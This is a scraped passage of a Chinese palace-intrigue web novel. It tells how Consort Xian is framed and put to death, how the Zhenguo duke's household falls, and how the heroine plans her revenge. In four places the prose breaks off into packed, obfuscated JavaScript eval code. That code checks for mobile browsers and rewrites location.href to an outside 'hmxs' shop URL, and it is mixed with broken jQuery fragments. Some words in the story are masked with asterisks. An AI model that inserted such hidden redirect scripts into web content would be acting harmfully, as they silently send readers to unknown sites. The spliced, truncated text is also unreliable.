“平日里,阿清身边高手如云,别说一个宫女,就是十个,也休想近身……” 她顿了顿,声音哽咽,每一个字都仿佛带着血泪: “可今日……她多喝了几杯,身子发软,别说反抗,怕是连站都站不稳……” 她深深吸了一口气,仿佛要将所有的悲伤都吞进腹中: “阿清贪杯,又最不胜酒力……偏偏那菊花酒甘甜,她便多喝了几杯……” 傅清霁紧咬下唇,指甲几乎要刺破掌心: “我以为……都是自家人,喝多了也无妨,谁曾想……” 她再也说不下去,只能无力地垂下头,泪水无声滑落。 宋溪溪亦是双眼通红,声音颤抖: “娘,都怪我,都怪我!我本该阻止姐姐才是!若是姐姐有个三长两短,我……这一生我都无法释怀!” 她带着哭腔,每一个字都像是泣血的控诉: “四年前,姐姐就曾遭人暗算,落水险些丧命,好不容易捡回一条命……如今又遭此横祸……娘,姐姐她……会不会留下什么病根啊?” 话里话外,句句不离当年晏夫人推女落水之事,明里暗里,都在往庄家、往钱雅芝身上泼脏水。 众人听了这番话,尘封的记忆被唤醒,看向钱雅芝的眼神,都变得意味深长。 钱雅芝只觉得一股怒火直冲头顶,险些气得昏死过去。 宋溪溪这嘴,是巴不得庄家立刻就倒霉吧?! 晏玥玥更是眼圈泛红,泪水在眼眶里打转。 旧事重提,有意思吗? 陆家人,当真是睚眦必报! 可钱雅芝毕竟不是寻常妇人,她很快从愤怒中抽离,敏锐地捕捉到了一丝异样。 晏清澜喝了那杯酒,纵使丧失抵抗能力,也该是与杨澜发生些什么,怎会是被刺杀? 第三百五十七章 退一步说,就算真被刺伤,太医院那么多太医,为何验不出她体内的**? 从始至终,竟无一人提及验酒之事。 这其中,定有猫腻! 钱雅芝只觉一股寒意从脚底升起,瞬间传遍全身。 要么,晏清澜早有防备,根本没喝那杯酒。 要么……这从头到尾,实为暗算庄家的毒计! 想到这里,钱雅芝只觉得眼前的菊花都变得血红,宛如生长在庄府墓前。 身旁的晏远舟,向来沉稳,此刻也眉头紧锁,神色凝重。 御林军将他们团团围住,消息隔绝,更无法与韩承煜取得联系。 这分明就是一个死局,一个让人窒息的死局。 庄家每个人的心,都提到了嗓子眼,仿佛下一刻,就会万劫不复。 宫廷内的每一分疆土,都浸透了鲜血。 而今日,这祭奠菊花的鲜血,怕是要由庄家来流了。 心惊胆战的,又何止庄家人。 景元帝一声令下,彻查此事,谁也不知道这把火最终会烧到谁的头上。 郡主**,非同小可,若只拿一个小宫女顶罪,如何服众? 皇上大动干戈,定然不会如此草率收场。 时间一点一滴流逝,每一刻都像被拉长了一百倍。 终于,在令人窒息的等待中,调查结果浮出水面。 出乎所有人意料,幕后真凶,竟是燕王生母——贤妃。 据说是燕王童玄珏亲自带人将那宫女带走审问。 不同于往日入狱之人的哭天抢地,那宫女前脚刚踏进牢房,后脚就瘫软在地,话都说不利索。 不等用刑,她便将一切和盘托出。 她说,是贤妃指使她行刺。 如何指使? 贤妃让她将晏清澜引至僻静处,说那里早有安排,自会有武功高强之人取她性命。 可她到了约定地点,却一个人影也没见到。 更让这宫女没想到的是,贤妃竟然对她起了杀心。若不能杀了晏清澜,贤妃便要杀她灭口。 这宫女一看晏清澜喝的酩酊大醉,神智不清,自以为是个下手的绝佳时机,情急之下,便对长乐郡主动了手。 这就是事情的经过。 贤妃在面对质问时,整个人都傻了。 她不过是想坏了晏清澜的名声,让她颜面扫地。 她何时派人行刺了? 贤妃“扑通”一声跪在景元帝面前,摘下发间的金钗,任由乌发披散,泪如雨下: “皇上……臣妾冤枉啊!” “长乐郡主与臣妾往日无怨,近日无仇,臣妾害她做什么?” 童玄珏站在景元帝身后,冷冷地扫了贤妃一眼,声音毫无波澜: “韩承煜与她比试,输得一败涂地,你敢说,你不是因此怀恨在心,才对本王的未婚妻痛下**?” “皇上明鉴!欲加其罪,何患无辞?”贤妃猛地抬起头,重重地磕在冰冷的地面上,声音嘶哑,“臣妾绝非小肚鸡肠之人!这……这分明是那宫女的一面之词,您不能信啊!” “一面之词?” 景元帝的声音依旧平淡,却让贤妃的心,一点点沉入谷底。 她看着眼前这位两鬓斑白的帝王,只觉得瑶华宫的每一块地砖,都透着彻骨的寒意。 景元帝目光如炬,盯着贤妃看了许久,突然笑了,只是那笑意,未达眼底, “听信片面之言,朕派去的人,又怎会在那宫女的住处,搜出你瑶华宫的东西?” 他的声音陡然转厉, “那支金镶玉的步摇,朕记得,你时常佩戴。还有一些物件,分明是朕亲赏的!” 景元帝的目光如刀,似要将贤妃凌迟, “贤妃,你莫非要告诉朕,你宫中失窃,这些东西,都是那宫女偷的不成?”瑶华宫内,寒气如缕缕钢针,无孔不入,直扎贤妃心底。那冰凉的地砖,仿佛有种魔力,要将她吸入无底深渊。 “皇上……” 她的声音,轻得像一片即将凋零的枯叶,微微颤抖, “臣妾……冤枉……” 景元帝高**,眼神淡淡扫过,唇角勾起一抹若有似无的弧度,那笑,冰冷,毫无温度。 贤妃如遭重击,浑身僵硬。 她做梦也想不到,自己从未给那小宫女任何赏赐,可偏偏……在那宫女住处,搜出了瑶华宫的东西! 这简直……比六月飞雪还冤! “皇上!”她猛地叩首,“咚”的一声,额头与冰冷地面相撞,闷响回荡。 “臣妾就算要对付长乐郡主,也断不会蠢到……用这种一眼就被人看穿的法子啊!” 她急于辩解,声音尖锐得像要划破这凝滞的空气: “这……定是有人要害臣妾!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689454|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可话一出口,她就后悔了。 这种漏洞百出的手段,别说骗过景元帝,就连她自己这关都过不去! 谁能保证晏清澜一定会落入圈套? 万一她心血来潮,找三公主借衣服呢? 万一她酒量不佳,提前离席了呢? 这计划,从一开始就是个笑话! 贤妃的泪水,像断了线的珠子,砸在地砖上,碎成点点水花。她断断续续地解释,却越说越乱,越说越心虚。 她不甘心! 明明是童玄珏和晏清澜这对狗男女为了报复,才设下这粗糙的陷阱,可她却……有口难言! 她低着头,长长的睫毛遮住了眼底的绝望,却错过了景元帝眼中一闪而过的嘲讽。那眼神,像冰冷的刀子,一下下凌迟着她的心。 “冤枉?” 景元帝的声音,低沉,威严,每一个字都像从胸腔中发出,带着不容置疑的力量: “那宫女的首饰盒里,有你瑶华宫的珍珠,是冤枉?” 他微微停顿,声音骤然拔高, “镇国公府的家丁,出现在芳华园,也是冤枉?” “贤妃!” 景元帝猛然起身,宽大的龙袍在空中划出一道弧线,他指着贤妃,声音里充满了愤怒与失望, “你可知罪!” 贤妃的脸色,瞬间惨白如纸。 她万万没想到,宫中竟然会有镇国公府的人! 这……怎么会? 景元帝看着她脸上不断变化的神情,心中冷笑,脸上却不动声色。 他缓缓抬手,做了个手势。 两名侍卫应声而出,将一个托盘呈到贤妃面前。 托盘上,放着几件染血的兵器,还有……几块镇国公府的令牌。 “呕……” 血腥味扑鼻而来,贤妃只觉得胃里一阵翻滚,她捂住嘴,却还是忍不住干呕出声。 她看着托盘里那些熟悉的令牌,只觉得一阵天旋地转。 完了……这下彻底完了…… 景元帝的声音,冰冷得像冬日里的寒冰,不带一丝情感。 “贤妃,你还有何话说?” 他缓缓走下台阶,一步步逼近贤妃。 “朕这些年,对你镇国公府,是不是太过仁慈了?” 他停在贤妃面前,居高临下地看着她, “以至于… 第三百五十八章 …让你们忘了,谁才是这大玺朝的主人!” 他猛地弯下腰,凑近贤妃的耳边,一字一句地说道: “你以为,朕真的不知道,当年……先皇后是**的吗?” 这句话,像一道惊雷,在贤妃耳边炸响。 她猛地抬头,看向景元帝。 那双眼睛,冷漠,无情,深不见底,像一个漩涡,要将她吸进去,吞噬殆尽。 她终于明白了。 童玄珏?晏清澜? 她们算什么! 从始至终,要她死的,是景元帝! 是他! 什么证据,证词,都是假的! 帝王要**,何须理由? 晏清澜是否**,一点都不重要! 重要的是,他要镇国公府,要她……死! “哈哈哈哈……” 贤妃突然仰天大笑,笑声凄厉,在这空旷的大殿中回荡,令人不寒而栗。 “皇上!”她猛地拔高声音,尖锐的嗓音几乎要刺破人的耳膜,“您……您终于承认了!” 她以为自己掩饰得很好。 她以为自己吃斋念佛,就能洗清罪孽。 可最终……还是逃不过! 她步步算计,却终究,输给了帝王的一句话! 景元帝看着她,眼神平静得可怕,像在看一个疯子,在做着毫无意义的挣扎。 贤妃眼中的恨意,几乎要化为实质。 她想说话。 她想揭穿景元帝的虚伪,想为自己辩解,想让全天下的人都知道…… 可,她错过了最后的机会。 几名侍卫冲上来,捂住她的嘴,将她拖了下去。 “唔……唔唔……” 贤妃拼命挣扎,指甲抠进地砖的缝隙,留下道道血痕,触目惊心。 然而,没有人理会。 …… 赏梅宴,就这样落幕了。 以一种,谁也没有想到的方式。 圣旨,如雪片般飞来。 “奉天承运皇帝,诏曰:贤妃与镇国公府勾结,意图谋害长乐郡主,罪不容诛,赐毒酒一杯,钦此!” 太监尖细的声音,在大殿内回响,如丧钟敲响。 然而,这仅仅是个开始。 接下来的消息,一个比一个惊人。 御林军在镇国公府搜出了大量违禁物品,其中,竟包括前朝逆党的书信! 这下,镇国公府的罪名,再也洗不清了。 谋逆! 这是诛九族的大罪! 景元帝大怒,下令将镇国公府满门抄斩,鸡犬不留。 至于燕王韩承煜…… 他倒是无辜。 可谁让他,有这样一个母亲,这样一个外祖家呢? 景元帝终究还是念及父子之情,没有赶尽杀绝,只是将他禁足,没有旨意,不得出府。 …… “这贤妃,为何要害长乐郡主?” “这事儿啊,说来就话长了……” 京城最大的酒楼里,说书先生一拍惊堂木,将这段恩怨情仇,娓娓道来。 原是燕王与长乐郡主比试,输了。 贤妃为了给儿子出气,才动了杀心。 “真是红颜祸水!” “呸!明明是贤妃心狠手辣!” “就是,自己儿子没本事,还怪别人?” “可不是嘛,输不起就别比啊……” “……” 酒楼里,人声嘈杂,议论纷纷。 但无论如何,贤妃和镇国公府的覆灭,已成事实。 而这场风波,也注定会被载入史册,成为后人茶余饭后的谈资。赏梅宴上,气氛骤变。 原本的欢声笑语如潮水般退去,徒留一片令人窒息的静默。贵妇千金们个个噤若寒蝉,连呼吸都小心翼翼。 “娘……” 晏玥玥死死攥住钱雅芝的衣袖,指节泛白,身体抖得像筛糠一样。 她脸色煞白,嘴唇翕动了几下,才艰难地挤出一句完整的话: “原来是定国公府的女主人,下一个……会不会是……” 剩下的话被生生卡在喉咙里。 晏远舟的眼神如刀子般刮过来,让她硬生生打了个寒噤。 那眼神,冰冷、阴鸷,仿佛一条吐着信子的毒蛇,随时准备择人而噬。晏玥玥毫不怀疑,如果自己再多说一个字,那冰冷的目光就会化为实质的利刃,将自己凌迟处死。 平日里,女儿这般害怕,钱雅芝定会搂在怀里好生安抚。 可现在,钱雅芝自己都像一脚踏进了鬼门关。 她脸色惨白如纸,嘴唇哆嗦着,却发不出半点声音。 这是什么情况? 钱雅芝的思绪乱成一团麻。 她只记得,这场赏梅宴,原本是为晏清澜和杨澜设下的陷阱。 可如今,这陷阱却反噬到自己人身上。 先是贤妃被赐死,紧接着,镇国公府也难逃一劫。 燕王**,顷刻间土崩瓦解。 那些平日里口口声声说着效忠燕王的臣子,此刻恨不得立刻撇清关系。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689455|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 人性的凉薄,在这一刻展现得淋漓尽致。 钱雅芝只觉得一股寒气从脚底直窜头顶。 她眼前一阵发黑,身体摇晃了几下,险些栽倒。 就在这时,一队侍卫冲了进来,将她团团围住。 “钱雅芝,你可知罪?” 为首的侍卫面无表情地问道。 钱雅芝张了张嘴,却什么也说不出来。 她知道,自己完了,整个庄家都完了。 …… 晏清澜是在一片喧闹声中醒来的。 她睁开眼,发现自己正躺在回府的马车上。 “郡主,您醒了?” 贴身侍女翠萱一脸惊喜地看着她。 晏清澜微微点头,示意她扶自己起来。 翠萱连忙上前,小心翼翼地将她扶起,又在她身后垫了个软枕。 “外面怎么这么吵?” 晏清澜揉了揉太阳穴,问道。 “回郡主,是百姓们在庆祝呢。” 翠萱笑着解释道: “贤妃和镇国公府倒台,大家都高兴坏了。” 晏清澜闻言,唇角勾起一抹淡淡的笑意。 这正是她想要的结果。 她早就知道,景元帝对贤妃和镇国公府恨之入骨。 只可惜,一直没有合适的理由发作。 而这次,钱雅芝亲手将把柄送到了景元帝面前。 她不过是顺水推舟,推波助澜了一把。 晏清澜闭上眼睛,深吸了一口气。 她知道,这仅仅是个开始。 前世,陆家所遭受的苦难,她要一一讨回来。 那些曾经伤害过陆家的人,一个都别想逃! …… 另一辆马车里,钱雅芝却如坠冰窖。 她透过车帘的缝隙,看到外面欢呼雀跃的人群。 那些欢呼声,每一声都像一把刀子,狠狠地扎在她的心上。 她知道,这些人欢呼的,是她的失败,是庄家的覆灭。 “晏清澜,你这个**!” 钱雅芝咬牙切齿地咒骂着。 她想不通,自己究竟哪里做错了。 为什么晏清澜要这样对她,对整个庄家? “都是你,都是你害的!” 钱雅芝突然发疯似的,对着身旁的晏玥玥又打又骂。 “如果不是你,我们怎么会落到今天这个地步?” 晏玥玥被打得连连尖叫,却不敢还手。 她知道,钱雅芝已经彻底崩溃了。 第三百五十九章 马车在苏府门前停下。 钱雅芝被侍卫粗暴地拖下马车。 她抬头,看着眼前熟悉的府邸,突然放声大笑。 “哈哈哈哈……报应,这都是报应!” 笑着笑着,眼泪却流了下来。 …… 马车内,傅清霁看着女儿苍白的脸色,心疼不已。 她知道,晏清澜为了复仇,付出了太多太多。 可是,她却无能为力,只能眼睁睁地看着女儿一步步走向深渊。 傅清霁紧紧握住晏清澜的手,仿佛这样就能给她力量。 她只希望,这一切能早点结束。 她只希望,她的女儿能平安喜乐地度过余生。 晏清澜感受到母亲的担忧,反手握住她的手,轻声安慰: “娘,您放心,女儿没事。” 她知道,自己不能倒下。 因为,她还有更重要的事情要做。 陆家的仇,庄家的恨,她要一并清算! 贤妃、镇国公府只是开胃小菜,好戏还在后头。镇国公府倒了,落了个满门抄斩的下场。 金银珠宝,古玩字画,一股脑儿地充了公。 晏清澜记得分明,单是白花花的银子,就足有三百万两。更别提那些个价值连城的稀世珍宝了,往后国库怕是都要堆成山了。 她随手折下一枝开得正艳的花,细细把玩着,嘴角勾起一抹讥诮的弧度。 韩承煜啊韩承煜,先前你背靠赵家这棵大树,那叫一个挥金如土,眼高于顶。 可现在呢? 赵家一日不如一日,钱玉明又遭了难,续香火是别指望了。往后,赵家在京城这块地界上,怕是再也翻不起什么风浪了。 原本还有个富得流油的镇国公府,现在可好,慕家也跟着玩完了。 晏清澜都能想象出韩承煜那副吃了苍蝇般的表情。 这份大礼,也不知钱雅芝和韩承煜,收得可还舒心? “想什么呢?这般出神。” 腰间一紧,童玄珏已然欺身过来,指尖轻轻刮了下她的脸颊。 晏清澜反应极快,一把拍开他的手背: “还能想什么?” 童玄珏吃痛,却不恼,只是做出一副受伤的模样,手背上已然红了一片。 他故意压低了声音,带着几分幽怨: “你心里头惦记韩承煜的时候,可比惦记本王的时候多多了。” 这话酸的,像是直接灌了一坛子老陈醋。 晏清澜懒得搭理他,反手在他胳膊上轻拧一把,力道不轻不重: “惦记他?我在盘算着,哪天寻个好日子送他归西。怎么,难不成王爷您也想去凑个热闹?” 她微微眯起眼睛,带着几分戏谑: “还是说,您做了什么对不住我的事,日日夜夜盼着我送您一程?” 童玄珏被她这番话噎得哑口无言,哭笑不得地将人整个儿揽进怀里: “晏清澜,你这张嘴啊,真是能把**气活。” 温热的气息拂过耳畔,像羽毛轻轻扫过,激起一阵细微的颤栗。 “现在后悔?”晏清澜伸手,在他掌心不轻不重地挠了几下,扬起下巴,带着几分得意的神色,“晚了。” 童玄珏这人,别的本事暂且不论,单说这脸皮的厚度,那可是天下无敌,便是晏清澜也得甘拜下风。 她话音未落,童玄珏便顺势将人打横抱起,来了个公主抱。 晏清澜一个猝不及防,惊呼一声,本能地环住他的颈部。 抬头的一瞬间,正好撞进那双含笑的凤眸中,深邃得像是要把人吸进去。 童玄珏微微低头,唇角勾起一抹玩味的笑意: “看来,你也不是全不记得本王,至少这会儿,还知道要抓紧了。” 晏清澜象征性地捶了他一下,力道轻得像是挠痒痒。 她恼羞成怒地瞪了他一眼: “还不快放我下来!” 童玄珏从善如流地将人放下,却冷不防在她额头上偷了个香: “看在你还有几分急智的份上,这次就先饶了你。” 这就叫急智了? 晏清澜简直哭笑不得,她伸手推了推他的胸膛,故意打趣道: “看来,您对‘急智’的要求当真不高。要不您给透个底,您这未来燕王妃的标准,到底是什么样的?” 童玄珏闻言,故作沉思,片刻后,缓缓开口: “本王的要求嘛,其实也不算太高。” 他顿了顿,目光灼灼地盯着晏清澜,一字一句道: “天冷了,知道要添衣;下雨了,知道要躲雨;迷路了,知道要问路。” “最关键的是,名字得叫晏清澜。” 他微微一笑,又补充道: “还得是镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691233|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国大将军的女儿晏清澜,旁人可不行。” 晏清澜听罢,再也忍不住,扑哧一声笑了出来,伸手在他胳膊上轻拧一把: “你这张嘴啊,真是越来越贫了。说,跟谁学的?” 童玄珏一脸无辜地摊开手: “这可没人教,全靠本王天赋异禀。” 他伸手,将晏清澜耳边垂落的一缕碎发捋到耳后,忽然话锋一转: “对了,先前你托我以何默的名义送去庄家的药,我已经差人送去了。也派了人盯着,保证你姐姐一滴不落地喝下去了,你且安心,没人敢在药里动手脚。” 提及晏芸清,晏清澜的脸色顿时冷了下来。 她紧紧攥着拳头,指甲几乎要掐进肉里,眼底一片冰寒: “都怪我,若不是我一时疏忽,也不会让她被钱雅芝的人推到湖里,受了这无妄之灾。” 她的声音微微颤抖,带着一丝压抑不住的自责。 赏梅宴那日,钱雅芝为了毁她清白,竟然不惜对晏芸清下手。 为了不让晏芸清坏事,直接让人将晏芸清推进了湖里。 晏清澜咬紧牙关,她实在想不通,人心怎能歹毒到如此地步? 钱雅芝恨她,恨庄家,这些她都明白。 可晏芸清呢?她又做错了什么? 童玄珏将晏清澜的手握在掌心,试图用自己的体温温暖她冰冷的手指: “别把什么事都往自己身上揽。往好处想想,这事,或许也没那么糟。” 他顿了顿,组织了一下语言,继续说道: “何默那小子,原本还扭扭捏捏的,想跟你姐姐退婚。可经过这事,他反倒像是开了窍,恨不得立马把你姐姐娶回家。” “过不了多久,你就能喝上他们的喜酒了。” 晏清澜愣住了,一时间竟不知该作何反应。 “退婚?何默他……他竟想过要退婚?” 她喃喃自语,语气中满是难以置信。 晏芸清那样喜欢何默,为了他,可以连命都不要。 可何默,竟然想过要退婚? 他到底是怎么想的? 童玄珏轻轻捏了捏她的手,示意她冷静: “你且听我说完。你之前又不是没给他看过病,他那身子骨,你还不清楚?他想退婚,也是怕耽误了你姐姐,觉得像你姐姐那样好的姑娘,没了她,也能找到更好的归宿。 第三百六十章 ” “可晏芸清这回出事,也算是给他提了个醒。钱雅芝是什么人,你我心里都清楚。她眼里只有晏玥玥,又怎会顾及晏芸清的死活?” “何默也是想明白了这一点,才彻底打消了退婚的念头。如今啊,他心里头,怕是只有心疼和自责了。” 晏清澜久久没有说话。 她了解晏芸清,若非心甘情愿,便是拿刀架在她脖子上,她也不会嫁给旁人。 何默担心晏芸清,想要退婚,自以为是为了晏芸清好。 可他又何尝知道,他这样做,无异于将晏芸清推入万丈深渊。 晏清澜长叹了口气,缓缓抬起头,看向童玄珏,眼神中带着一丝释然: “罢了,何默能想明白就好。芸芸能有他护着,往后的日子,也能少些波折。” 她顿了顿,声音低了下去,像是在对童玄珏说,又像是在对自己说: “儿孙自有儿孙福,有些事,旁人是插手不得的。只盼着,芸芸能得偿所愿,往后余生,平安顺遂……”乌云压顶,沉沉的阴霾笼罩着苏府,数日不散。 镇国公府满门抄斩,贤妃娘娘**身亡,接连的噩耗如惊雷般在苏府炸响,震得每个人都心神不宁。 钱雅芝更是惶惶不可终日。 她紧攥着手中的丝帕,指节因用力而泛白,掌心早已被冷汗浸透。 她暗中推波助澜,助推了镇国公府的覆灭,这事儿若是让晏明远知道…… 钱雅芝不敢再往下想。 她更害怕的是燕王韩承煜。 若是韩承煜知晓一切,他会如何对待玥玥?又会如何对待庄家? 澜王府那边倒是出奇的平静,连着几日都毫无动静。 韩承煜甚至还私下里来过几次苏府,对她的态度一如往常,并无异样。 钱雅芝悬着的心稍稍放下,或许……真的是她多虑了? 但内心深处,一种强烈的不安却始终挥之不去。 韩承煜绝非泛泛之辈,他定然已经知晓了一切,只是在等待时机…… 思及此处,钱雅芝只觉得一股寒意从脚底直窜头顶。 与此同时,韩承煜正悄无声息地潜入苏府。 他如同鬼魅一般,避开了所有人的耳目,熟门熟路地摸进了晏玥玥的闺房。 晏玥玥乍一见他,先是一愣,随即脸上绽放出明媚的笑容,如乳燕投林般扑了过来,紧紧挽住他的胳膊: “承煜哥哥,你可算来了!” 语气中满是欢喜,还有少女见到心上人时特有的娇嗔。 若是在以前,韩承煜最喜欢的就是她这副娇憨的模样,像一只毫无戒心的小兽,让他忍不住想要捧在手心里疼爱。 可如今,韩承煜只觉得反胃。 他不动声色地避开了晏玥玥的触碰,余光瞥见她瞬间僵硬的表情。 一想到眼前这个笑靥如花的女子,竟是害死他母妃的仇人之女,他就恨不得将她**万段。 “玥玥……” 他强压下心底的恨意,扯出一个僵硬的笑容,声音沙哑得厉害。 晏玥玥并未察觉到他的异样,以为他还在为贤妃的死伤心。 她踮起脚尖,轻轻地抚平韩承煜紧蹙的眉头,柔声安慰道: “承煜哥哥,逝者已矣,你别太难过了……” “你还有我呀,我会永远陪着你的,不离不弃,生死相随。” 她仰着头,目光温柔而坚定,似乎想用自己的爱来融化韩承煜内心的坚冰。 韩承煜看着她,眼神复杂难辨,有厌恶,有嘲讽,还有一丝……不忍? 他缓缓地,却无比坚决地推开了晏玥玥。 “玥玥,这……或许是我最后一次来看你了。” 他的声音很低,却如同一道惊雷,在晏玥玥耳边炸响。 晏玥玥脸上的笑容瞬间消失,泪水夺眶而出。 “为什么?!” 她死死地抓住韩承煜的衣袖,仿佛抓住了最后一根救命稻草。 韩承煜缓缓垂下眼帘,长长的睫毛掩盖住了他眼底的情绪。 “玥玥,母妃和外祖父……都不在了。” 他的声音哽咽,带着浓浓的悲伤: “如今的我,不过是一条无家可归的丧家之犬,你父亲……怎么可能还会同意把你嫁给我呢?” 他抬起头,眼中已是一片猩红: “原本……再过几日便是你的及笄礼,我早已备好了聘礼,只等及笄礼一过,便去求父皇赐婚,让你做我的王妃,让你成为这世上最幸福的女子……” 他苦笑着摇了摇头,仿佛被命运狠狠地戏耍了一番: “可谁曾想……竟会发生这样的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691234|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他猛地吸了一口气,似乎在努力压抑着内心的痛苦。 “玥玥,告诉我……你还会像从前那样喜欢我吗?你会不会……也像他们一样,离我而去?” 他的声音颤抖着,充满了恐惧和不安,像一个被遗弃的孩子,渴望着唯一的温暖。 晏玥玥心如刀割,泪如雨下。 她记忆中的韩承煜,永远都是那般光芒万丈,仿佛世间没有任何事能将他击倒。 第一次看到他这么虚弱的样子,仿佛一件精美的瓷器,轻轻一碰就会碎裂。 心疼、怜惜、不舍……万般情绪交织在一起,晏玥玥再也顾不得其他,猛地扑进韩承煜的怀里,失声痛哭。 “承煜哥哥,别说这种丧气话!” 她紧紧地抱住他,??????要用自己的体温来温暖他冰冷的心: “我爱你,我只爱你!除了你,我谁都不会嫁!” “你听好了,以后……再也不许说这种丧气话!我会一直陪着你,永远都不会离开你!” 泪水肆意地流淌,浸湿了韩承煜胸前的衣襟,也灼痛了他的心。 韩承煜紧紧地回抱着她,恨不得将她揉进自己的骨血之中,融为一体。 然而,他的嘴角却勾起一抹冰冷的弧度,眼底一片阴鸷。 “玥玥,有你这句话,我便知足了。” 他轻声说道,语气温柔得能滴出水来: “只是……你父亲那边,怕是不好交代吧?” 晏玥玥将头埋在他的胸口,声音闷闷地传来: “我可是老爸的心头宝,我认定了你这个人,他定然不会逼我。” “况且,我爹爹绝非鼠目寸光之辈,他定能看出承煜哥哥你的不凡,绝不会因为一时的困境就放弃你!” 晏明远会像她这般天真? 韩承煜忍不住在心里冷笑。 表面上,他们还是盟友,关系似乎坚不可摧。 但实际上,他早就看穿了晏明远那只老狐狸的心思。 晏明远早已开始另寻出路,准备随时抽身而退。 想撇下他,独善其身? 做梦! 钱雅芝害得他母妃惨死,庄家休想置身事外! 韩承煜轻轻抚摸着晏玥玥的秀发,眼神温柔似水: “玥玥,你……可愿助我一臂之力? 第三百六十一章 ” 他的声音低沉而富有磁性,仿佛带着某种魔力: “我想要尽快娶你过门,但此事……还需你我二人共同谋划。” 晏玥玥早已被他的甜言蜜语迷得晕头转向,哪里还分得清是非曲直。 她抬起头,一双水汪汪的大眼睛看着韩承煜,目光中满是信任和依赖: “承煜哥哥,你说,要我如何做?” 韩承煜微微一笑,眼中闪过一丝算计。 他低下头,在晏玥玥耳边低语: “你可还记得,我曾与你说过的那位友人?” 晏玥玥回忆了一下, “就是你说要与三姐姐相看的那位?” 韩承煜点头 “他上次在府里见过你三姐姐,很是仰慕。” 他故意顿了顿,让晏玥玥自己去想。 “哎,本来一切都水到渠成,偏偏出了这么些事,搅得人心惶惶。” 韩承煜叹息一声, “实不相瞒,我早就想玉成此事,之前还跟你父亲提过一嘴,他也颇为赞同。但你知道的,我母妃刚去,此时若是大张旗鼓地操办亲事,未免显得我太过凉薄无情,也怕你父亲多心。” 他顿了顿,语气中带着几分无奈: “是以我想,此事还需从长计议。不过,若是有你在中间牵线搭桥,或许能事半功倍。” 他看着晏玥玥,目光灼灼: “玥玥,你若能帮我促成此事,也算帮了我一个大忙。他日我定当重重谢你。” 晏玥玥心思单纯,又对韩承煜言听计从,哪里会想到这其中另有玄机。 她毫不犹豫地点头答应: “承煜哥哥,只要能帮到你,我做什么都愿意。” 韩承煜眼中闪过一丝得逞的笑意,却稍纵即逝。 他凑近晏玥玥的耳边,如此这般地交代了一番。 晏玥玥听完,眉头微微蹙起,但还是点了点头: “嗯,我明白了。” 她犹豫了一下,还是忍不住说道: “可是……这样做,总觉得有些对不住三姐姐……” 韩承煜将她揽入怀中,柔声安慰道: “傻丫头,这怎么能叫对不住呢?你三姐姐若是能嫁给他,那是她的福气,她感激你还来不及呢,又怎会怪你?”屋内,绣架旁。 晏清萦执笔描摹着花样子,笔尖轻缓移动,神情专注。 阳光透过窗棂洒在她身上,细碎的光点落在发梢,长长的睫毛低垂着,在眼下投出一片淡淡的阴影。 “吱呀——” 门被推开了。 晏玥玥摇曳生姿地走了进来,步履轻快。 “三姐姐,你猜我给你带什么好东西来了?” 晏玥玥神秘兮兮地笑着,手里拎着一个精致的锦盒。 晏清萦抬眸,目光落在锦盒上,淡淡地问: “是什么?” 她对这些身外之物,向来不怎么上心。 “当当当当!” 晏玥玥打开锦盒,里面是一支赤金镶红玉的簪子。 “好看吧?这可是我特意给你挑的!” 晏玥玥拿起簪子,就要往晏清萦发间插。 晏清萦微微侧身,避开了。 “六妹妹,这太贵重了,我不能收。” 晏玥玥一愣,随即嗔怪道: “三姐姐,你跟我还客气什么?” “一支簪子而已,你就收下嘛。” “再说,你平日里穿得也太素净了,好歹也打扮打扮。” 晏清萦垂眸不语。 她不是不想打扮,只是……囊中羞涩。 晏玥玥见晏清萦不说话,以为她是默认了,便自顾自地将簪子插在了她的发髻上。 “哎呀,真好看!” 晏玥玥满意地拍了拍手。 “三姐姐,咱们出去逛逛吧,正好让大家都看看你这新簪子。” 晏清萦有些无奈。 她本不想出门,但晏玥玥这般热情,她也不好再拒绝。 